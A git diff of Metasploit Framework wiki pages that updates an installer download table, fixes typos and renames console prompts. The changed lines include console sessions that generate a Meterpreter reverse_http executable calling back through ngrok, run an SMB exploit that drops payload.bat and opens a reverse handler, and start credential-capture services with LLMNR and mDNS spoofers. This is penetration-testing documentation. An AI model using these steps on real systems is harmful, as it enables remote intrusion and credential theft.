44ec859952a08..594d35b94b851 100644 --- a/docs/metasploit-framework.wiki/Downloads-by-Version.md +++ b/docs/metasploit-framework.wiki/Downloads-by-Version.md @@ -10,28 +10,38 @@ Updates are released about once every other week for Windows and Linux. The pgp signatures below can be verified with the following [public key](https://pgp.mit.edu/pks/lookup?op=get&search=0xCDFB5FA52007B954) -|Download Link|File Type|SHA1|PGP| -|-|-|-|-| -| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)| -| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)| -| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc)| -| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc)| -| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)| -| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)| -| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)| -| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)| -| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)| -| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)| -| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)| -| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)| -| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)| -| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc)| -| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc)| -| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc)| -| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc)| -| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc)| -| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc)| -| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc)| +| Download Link |File Type| SHA | PGP | +|--------------------------------------------------------------------------------------------------------------------------------------------------------------|-|---------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------| +| [metasploit-4.22.7-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc) | +| [metasploit-4.22.7-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Windows 64-bit | [SHA256](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha256) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc) | +| [metasploit-4.22.6-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-windows-x64-installer.exe.asc) | +| [metasploit-4.22.6-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.6-2024111901-linux-x64-installer.run.asc) | +| [metasploit-4.22.5-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-windows-x64-installer.exe.asc) | +| [metasploit-4.22.5-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.5-2024111401-linux-x64-installer.run.asc) | +| [metasploit-4.22.4-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-windows-x64-installer.exe.asc) | +| [metasploit-4.22.4-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.4-2024101401-linux-x64-installer.run.asc) | +| [metasploit-4.22.3-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-windows-x64-installer.exe.asc) | +| [metasploit-4.22.3-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.3-2024082201-linux-x64-installer.run.asc) | +| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-windows-x64-installer.exe.asc) | +| [metasploit-4.22.2-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.2-2024072501-linux-x64-installer.run.asc) | +| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc) | +| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc) | +| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc) | +| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc) | +| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc) | +| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc) | +| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc) | +| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc) | +| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc) | +| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc) | +| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc) | +| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc) | +| [metasploit-4.19.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-windows-x64-installer.exe.asc) | +| [metasploit-4.19.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.0-2021031701-linux-x64-installer.run.asc) | +| [metasploit-4.18.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-windows-x64-installer.exe.asc) | +| [metasploit-4.18.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.18.0-2020101201-linux-x64-installer.run.asc) | +| [metasploit-4.17.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-windows-x64-installer.exe.asc) | +| [metasploit-4.17.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.17.1-2020080301-linux-x64-installer.run.asc) | ## Metasploit Framework Source diff --git a/docs/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md b/docs/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md index a48e9bdfca601..4f63de10eed60 100644 --- a/docs/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md +++ b/docs/metasploit-framework.wiki/GSoC-2021-Project-Ideas.md @@ -6,7 +6,7 @@ Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://g ### Retain active status of authentication tokens -Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authenticaion tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts. +Many testing techniques interacting with web servers such as `XSS` rely on ensuring authentication obtained on a target be kept active. A mechanism for registering and maintaining open authentications identified during a test for the duration of the console session may provide an additional utility to enable more modules to target techniques that need valid authentication to be maintained. One such authentication token would be data retained in a cookie for a web service. This project would lay the groundwork for registering gathered or generated authentication tokens against a target to be refreshed and sustained until a console exits, or in some cases across console restarts. Difficulty: 2/5 diff --git a/docs/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md b/docs/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md index bdcc6e094ba4a..a5782ae2951e4 100644 --- a/docs/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md +++ b/docs/metasploit-framework.wiki/Guidelines-for-Writing-Modules-with-SMB.md @@ -290,7 +290,7 @@ end msfconsole output: ```msf -msf6 exploit(windows/smb/msf_smb_client_test) > options +msf exploit(windows/smb/msf_smb_client_test) > options Module options (exploit/windows/smb/msf_smb_client_test): @@ -319,7 +319,7 @@ Exploit target: 0 Windows -msf6 exploit(windows/smb/msf_smb_client_test) > run +msf exploit(windows/smb/msf_smb_client_test) > run [*] Started reverse SSL handler on 172.16.60.1:4444 [*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share @@ -407,7 +407,7 @@ end msfconsole output: ```msf -msf6 exploit(windows/smb/ruby_smb_client_test) > options +msf exploit(windows/smb/ruby_smb_client_test) > options Module options (exploit/windows/smb/ruby_smb_client_test): @@ -436,7 +436,7 @@ Exploit target: 0 Windows -msf6 exploit(windows/smb/ruby_smb_client_test) > run +msf exploit(windows/smb/ruby_smb_client_test) > run [*] Started reverse SSL handler on 172.16.60.1:4444 [*] 172.16.60.128:445 - Create and write to Windows\Temp\payload.bat on \\172.16.60.128\C$ remote share diff --git a/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md b/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md index 382a1d98680b1..75543255981d9 100644 --- a/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md +++ b/docs/metasploit-framework.wiki/Hashes-and-Password-Cracking.md @@ -18,7 +18,7 @@ puts identify_hash "_9G..8147mpcfKT8g0U." ``` In practice, we receive the following output from this: ```ruby -msf5 > irb +msf > irb [*] Starting IRB shell... [*] You are in the "framework" object diff --git a/docs/metasploit-framework.wiki/How-To-Use-Plugins.md b/docs/metasploit-framework.wiki/How-To-Use-Plugins.md index 7b3e6baa201da..5447d1e21bbaa 100644 --- a/docs/metasploit-framework.wiki/How-To-Use-Plugins.md +++ b/docs/metasploit-framework.wiki/How-To-Use-Plugins.md @@ -4,7 +4,7 @@ They are designed to have a very loose definition in order to make them as usefu Plugins are not available by default, they need to be loaded: ```msf -msf6 > load plugin_name +msf > load plugin_name ``` Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file: @@ -61,9 +61,9 @@ The current available plugins for Metasploit can be found by running the `load - The Alias plugin adds the ability to alias console commands: ```msf -msf6 > load alias +msf > load alias [*] Successfully loaded plugin: alias -msf6 > alias -h +msf > alias -h Usage: alias [options] [name [value]] OPTIONS: @@ -76,20 +76,20 @@ OPTIONS: Register an alias such as `proxy_enable`: ```msf -msf6 > alias proxy_enable "set Proxies http:localhost:8079" +msf > alias proxy_enable "set Proxies http:localhost:8079" ``` Now when running the aliased `proxy_enable` command, the proxy datastore value will be set for the current module: ```msf -msf6 auxiliary(scanner/http/title) > proxy_enable +msf auxiliary(scanner/http/title) > proxy_enable Proxies => http:localhost:8079 ``` Viewing registered aliases: ```msf -msf6 > alias +msf > alias Current Aliases =============== @@ -122,9 +122,9 @@ To use the plugin, it must first be loaded. That will provide the `captureg` com and stop subcommands. In the following example, the plugin is loaded, and then all default services are started on the 192.168.159.128 interface. ```msf -msf6 > load capture +msf > load capture [*] Successfully loaded plugin: Credential Capture -msf6 > captureg start --ip 192.168.159.128 +msf > captureg start --ip 192.168.159.128 Logging results to /home/smcintyre/.msf4/logs/captures/capture_local_20220325104416_589275.txt Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_20220325104416_612808 [+] Authentication Capture: DRDA (DB2, Informix, Derby) started @@ -150,7 +150,7 @@ Hash results stored in /home/smcintyre/.msf4/loot/captures/capture_local_2022032 [+] LLMNR Spoofer started [+] mDNS Spoofer started [+] Started capture jobs -msf6 > +msf > ``` This content was originally posted on the [Rapid7 Blog](https://www.rapid7.com/blog/post/2022/03/25/metasploit-weekly-wrap-up-154/). diff --git a/docs/metasploit-framework.wiki/How-to-Configure-DNS.md b/docs/metasploit-framework.wiki/How-to-Configure-DNS.md index 6778db353e3ce..17a4a841d5e65 100644 --- a/docs/metasploit-framework.wiki/How-to-Configure-DNS.md +++ b/docs/metasploit-framework.wiki/How-to-Configure-DNS.md @@ -19,7 +19,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult The current configuration can be printed by running `dns print`: ```msf -msf6 > dns print +msf > dns print Default search domain: N/A Default search list: lab.lan Current cache size: 0 diff --git a/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md b/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md index 879e6aed5881a..11fac27ced16c 100644 --- a/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md +++ b/docs/metasploit-framework.wiki/How-to-get-Oracle-Support-working-with-Kali-Linux.md @@ -12,7 +12,7 @@ msf auxiliary(oracle_login) > run ``` or ```msf -msf5 auxiliary(scanner/oracle/oracle_hashdump) > run +msf auxiliary(scanner/oracle/oracle_hashdump) > run [-] Failed to load the OCI library: cannot load such file -- oci8 [-] Try 'gem install ruby-oci8' diff --git a/docs/metasploit-framework.wiki/How-to-use-Metasploit-Messagepack-RPC.md b/docs/metasploit-framework.wiki/How-to-use-Metasploit-Messagepack-RPC.md index 3e70612685cb3..93396ae7bcdb6 100644 --- a/docs/metasploit-framework.wiki/How-to-use-Metasploit-Messagepack-RPC.md +++ b/docs/metasploit-framework.wiki/How-to-use-Metasploit-Messagepack-RPC.md @@ -52,7 +52,7 @@ Which returns the following response: ### Start the server -Use the following command to run the server with a configured uesrname and password: +Use the following command to run the server with a configured username and password: ``` $ ruby msfrpcd -U user -P pass -f diff --git a/docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md b/docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md index 3316df99f0328..b68ee8342a395 100644 --- a/docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md +++ b/docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md @@ -76,27 +76,27 @@ $ dig +short 4.tcp.ngrok.io metasploit side: ```msf -msf6 > use payload/windows/x64/meterpreter/reverse_http -msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1 +msf > use payload/windows/x64/meterpreter/reverse_http +msf payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1 LHOST => 192.0.2.1 -msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511 +msf payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511 LPORT => 17511 -msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1 +msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1 ReverseListenerBindAddress => 127.0.0.1 -msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444 +msf payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindPort 4444 ReverseListenerBindPort => 4444 -msf6 payload(windows/x64/meterpreter/reverse_http) > to_handler +msf payload(windows/x64/meterpreter/reverse_http) > to_handler [*] Payload Handler Started as Job 2 -msf6 payload(windows/x64/meterpreter/reverse_http) > +msf payload(windows/x64/meterpreter/reverse_http) > [*] Started HTTP reverse handler on http://127.0.0.1:4444 -msf6 payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe +msf payload(windows/x64/meterpreter/reverse_http) > generate -f exe -o ngrok_payload.exe [*] Writing 7168 bytes to ngrok_payload.exe... -msf6 payload(windows/x64/meterpreter/reverse_http) > +msf payload(windows/x64/meterpreter/reverse_http) > [*] http://127.0.0.1:4444 handling request from 127.0.0.1; (UUID: ghzekibo) Staging x64 payload (202844 bytes) ... [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:55468) at 2024-09-10 16:43:58 -0400 -msf6 payload(windows/x64/meterpreter/reverse_http) > sessions -i -1 +msf payload(windows/x64/meterpreter/reverse_http) > 